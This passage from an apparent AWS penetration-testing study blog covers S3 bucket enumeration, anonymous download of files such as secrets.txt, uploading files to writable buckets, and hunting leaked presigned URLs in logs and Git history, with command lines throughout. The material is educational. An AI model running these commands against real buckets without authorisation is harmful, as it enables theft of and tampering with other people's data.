&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/ReadOnlyAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="closing-thoughts-on-iam-penetration-testing"&gt;&lt;a href="#closing-thoughts-on-iam-penetration-testing" class="header-anchor"&gt;&lt;/a&gt;Closing Thoughts on IAM Penetration Testing&#10;&lt;/h3&gt;&lt;p&gt;At this point, I&amp;rsquo;ve worked through most of the hands-on IAM penetration testing material. This section took a huge amount of time. There were only six policies, but they involved a lot of architectural concepts that took a long time to understand. It isn&amp;rsquo;t just a matter of understanding each policy in isolation; you need a deep understanding of how they interact. Overall, it was pretty interesting, just very complicated—and the reason it is so complicated is that the architecture is so well designed, with every part closely connected to the next.&lt;/p&gt;&#10;&lt;h2 id="storage-service-s3-attack-surface"&gt;&lt;a href="#storage-service-s3-attack-surface" class="header-anchor"&gt;&lt;/a&gt;Storage Service (S3) Attack Surface&#10;&lt;/h2&gt;&lt;h3 id="s3-bucket-enumeration"&gt;&lt;a href="#s3-bucket-enumeration" class="header-anchor"&gt;&lt;/a&gt;S3 Bucket Enumeration&#10;&lt;/h3&gt;&lt;h4 id="access-control-for-s3-buckets"&gt;&lt;a href="#access-control-for-s3-buckets" class="header-anchor"&gt;&lt;/a&gt;Access Control for S3 Buckets&#10;&lt;/h4&gt;&lt;p&gt;In AWS S3, access to a bucket is controlled by &lt;strong&gt;two main mechanisms&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 bucket policy (&lt;/strong&gt;&lt;code&gt;Bucket Policy&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Determines which users or accounts can access the bucket (&lt;code&gt;s3:ListBucket&lt;/code&gt;, &lt;code&gt;s3:GetObject&lt;/code&gt;).&lt;/li&gt;&#10;&lt;li&gt;It may contain &lt;code&gt;&amp;quot;Principal&amp;quot;: &amp;quot;*&amp;quot;&lt;/code&gt;, leaving the bucket open to everyone.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Access Control List (ACL)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;A legacy permissions management method that allows specific AWS accounts or anonymous users to access a bucket or its objects.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;READ&lt;/code&gt; permission can allow external users to list the directory (&lt;code&gt;ListBucket&lt;/code&gt;).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;WRITE&lt;/code&gt; permission can allow an attacker to upload malicious files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;📌 &lt;strong&gt;Vulnerabilities&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Incorrect bucket policy&lt;/strong&gt;: If &lt;code&gt;Principal: *&lt;/code&gt; is combined with &lt;code&gt;Action: &amp;quot;s3:ListBucket&amp;quot;&lt;/code&gt;, an attacker can list every file.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;ACL misconfiguration&lt;/strong&gt;: If &lt;code&gt;READ&lt;/code&gt; permission is open to &lt;code&gt;Everyone&lt;/code&gt;, an attacker can read the files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="s3-bucket-enumeration-methods"&gt;&lt;a href="#s3-bucket-enumeration-methods" class="header-anchor"&gt;&lt;/a&gt;S3 Bucket Enumeration Methods&#10;&lt;/h4&gt;&lt;p&gt;There is not much of an environment to set up here. The idea is very simple: the bucket lets you interact with it without authentication. How far you can go depends on which permissions were mistakenly granted. It will make sense once we try it in practice.&lt;/p&gt;&#10;&lt;p&gt;There are two approaches: &lt;strong&gt;tool-based probing&lt;/strong&gt; and &lt;strong&gt;manual verification&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h5 id="manual-verification"&gt;&lt;a href="#manual-verification" class="header-anchor"&gt;&lt;/a&gt;Manual Verification&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;(1) Test whether the bucket allows directory listing (&lt;/strong&gt;&lt;code&gt;s3:ListBucket&lt;/code&gt;**) **&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://bucket-name --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--no-sign-request&lt;/code&gt;&lt;strong&gt;: Used for anonymous access (without AWS credentials).&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If the command succeeds, the bucket allows&lt;/strong&gt; &lt;code&gt;s3:ListBucket&lt;/code&gt;&lt;strong&gt;, and you can see every file in it:&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2024-03-06 12:00:00 450K secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2024-03-06 12:01:00 2.3M backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Test whether files can be downloaded (&lt;/strong&gt;&lt;code&gt;s3:GetObject&lt;/code&gt;**) **&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;If the download succeeds, the bucket allows anonymous users to read files (&lt;/strong&gt;&lt;code&gt;s3:GetObject&lt;/code&gt;&lt;strong&gt;).&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;(3) Use&lt;/strong&gt; &lt;code&gt;curl&lt;/code&gt;** to test whether an S3 bucket is open**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;An AWS S3 object URL usually has this format:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://bucket-name.s3.amazonaws.com/file.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;You can test it directly with&lt;/strong&gt; &lt;code&gt;curl&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I https://bucket-name.s3.amazonaws.com/secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;📌&lt;strong&gt;Interpreting the response:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;200 OK: The file can be accessed anonymously.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;403 Forbidden: Authentication is required, so the file cannot be accessed directly.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;404 Not Found: The file does not exist, or the bucket itself is private.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="tool-based-probing"&gt;&lt;a href="#tool-based-probing" class="header-anchor"&gt;&lt;/a&gt;Tool-Based Probing&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;(1) Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt;** to scan buckets**&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;s3scanner&lt;/code&gt; is a tool designed specifically to check whether S3 buckets are open.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/sa7mon/S3Scanner.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd S3Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip3 install -r requirements.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Check whether a specific bucket is public&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py bucket-name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Scan multiple buckets&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py -l bucket-list.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Common results&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public Read&lt;/code&gt;: Anyone can read the bucket.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public Write&lt;/code&gt;: Anyone can write to the bucket (including uploading files).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public List&lt;/code&gt;: Anyone can list the files in the bucket.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;(2) Use&lt;/strong&gt; &lt;code&gt;bucket-stream&lt;/code&gt;** for real-time bucket discovery**&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;bucket-stream&lt;/code&gt; monitors &lt;strong&gt;public log streams&lt;/strong&gt; to discover possible AWS bucket names in real time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/eth0izzle/bucket-stream.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd bucket-stream&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 bucket-stream.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;What this tool does&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitors AWS access logs and extracts possible bucket names.&lt;/li&gt;&#10;&lt;li&gt;Useful for &lt;strong&gt;finding new AWS assets&lt;/strong&gt; (for example, an exposed bucket belonging to a company).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="bypassing-bucket-policies"&gt;&lt;a href="#bypassing-bucket-policies" class="header-anchor"&gt;&lt;/a&gt;Bypassing Bucket Policies&#10;&lt;/h3&gt;&lt;p&gt;This section builds on the enumeration section above. Enumeration only showed what you can do; this part explains why it works.&lt;/p&gt;&#10;&lt;h4 id="incorrect-bucket-policy-cross-account-access-vulnerability"&gt;&lt;a href="#incorrect-bucket-policy-cross-account-access-vulnerability" class="header-anchor"&gt;&lt;/a&gt;Incorrect Bucket Policy: Cross-Account Access Vulnerability&#10;&lt;/h4&gt;&lt;p&gt;S3 bucket policies usually use the &lt;code&gt;&amp;quot;Principal&amp;quot;&lt;/code&gt; field to specify &lt;strong&gt;who can access&lt;/strong&gt; the bucket. If it is set to &lt;code&gt;&amp;quot;Principal&amp;quot;: &amp;quot;*&amp;quot;&lt;/code&gt;, &lt;strong&gt;anyone&lt;/strong&gt; can access that bucket, potentially causing a data leak.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example of an incorrect policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&amp;#34;s3:ListBucket&amp;#34;, &amp;#34;s3:GetObject&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:s3:::vulnerable-bucket/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Anyone can read the data in the bucket!&#10;This explains what we saw in the previous section: why we can list, download, and upload files in the bucket.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) Test whether the bucket contents can be listed&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://vulnerable-bucket --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If it returns a file list, the bucket&amp;rsquo;s&lt;/strong&gt; &lt;code&gt;s3:ListBucket&lt;/code&gt;** permission has mistakenly been left open!**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(2) Test whether files can be downloaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the download succeeds, the&lt;/strong&gt; &lt;code&gt;s3:GetObject&lt;/code&gt;** permission has mistakenly been left open!**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(3) Test whether files can be uploaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;If &lt;code&gt;s3:PutObject&lt;/code&gt; has also been left open, an attacker can upload malicious files:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Malicious File&amp;#34; &amp;gt; malware.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the upload succeeds, the bucket also allows write access!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="presigned-url-hijacking"&gt;&lt;a href="#presigned-url-hijacking" class="header-anchor"&gt;&lt;/a&gt;Presigned URL Hijacking&#10;&lt;/h4&gt;&lt;p&gt;AWS lets you create a &lt;strong&gt;presigned URL&lt;/strong&gt;, which is a &lt;strong&gt;temporary authorization URL&lt;/strong&gt; that allows users to access objects in an S3 bucket even when the bucket itself is private.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Presigned URL example&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 presign s3://private-bucket/secret.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;This command generates a URL that allows access to &lt;code&gt;secret.txt&lt;/code&gt; &lt;strong&gt;for a short time&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;The URL may look like this:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credent&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Attack method&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;If an attacker obtains this &lt;strong&gt;presigned URL&lt;/strong&gt; (through logs, the browser console, leaked code, and so on), they can download the file even if the S3 bucket is &lt;strong&gt;private&lt;/strong&gt;!&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) Find presigned URLs&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search the frontend code of a web application&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Open the browser&amp;rsquo;s F12 developer tools and search for &lt;code&gt;&amp;quot;s3.amazonaws.com&amp;quot;&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search log files&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep -i &amp;#34;amazonaws.com&amp;#34; /var/log/*.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search Git repositories&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git grep &amp;#34;s3.amazonaws.com&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Test whether the file can be accessed&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div 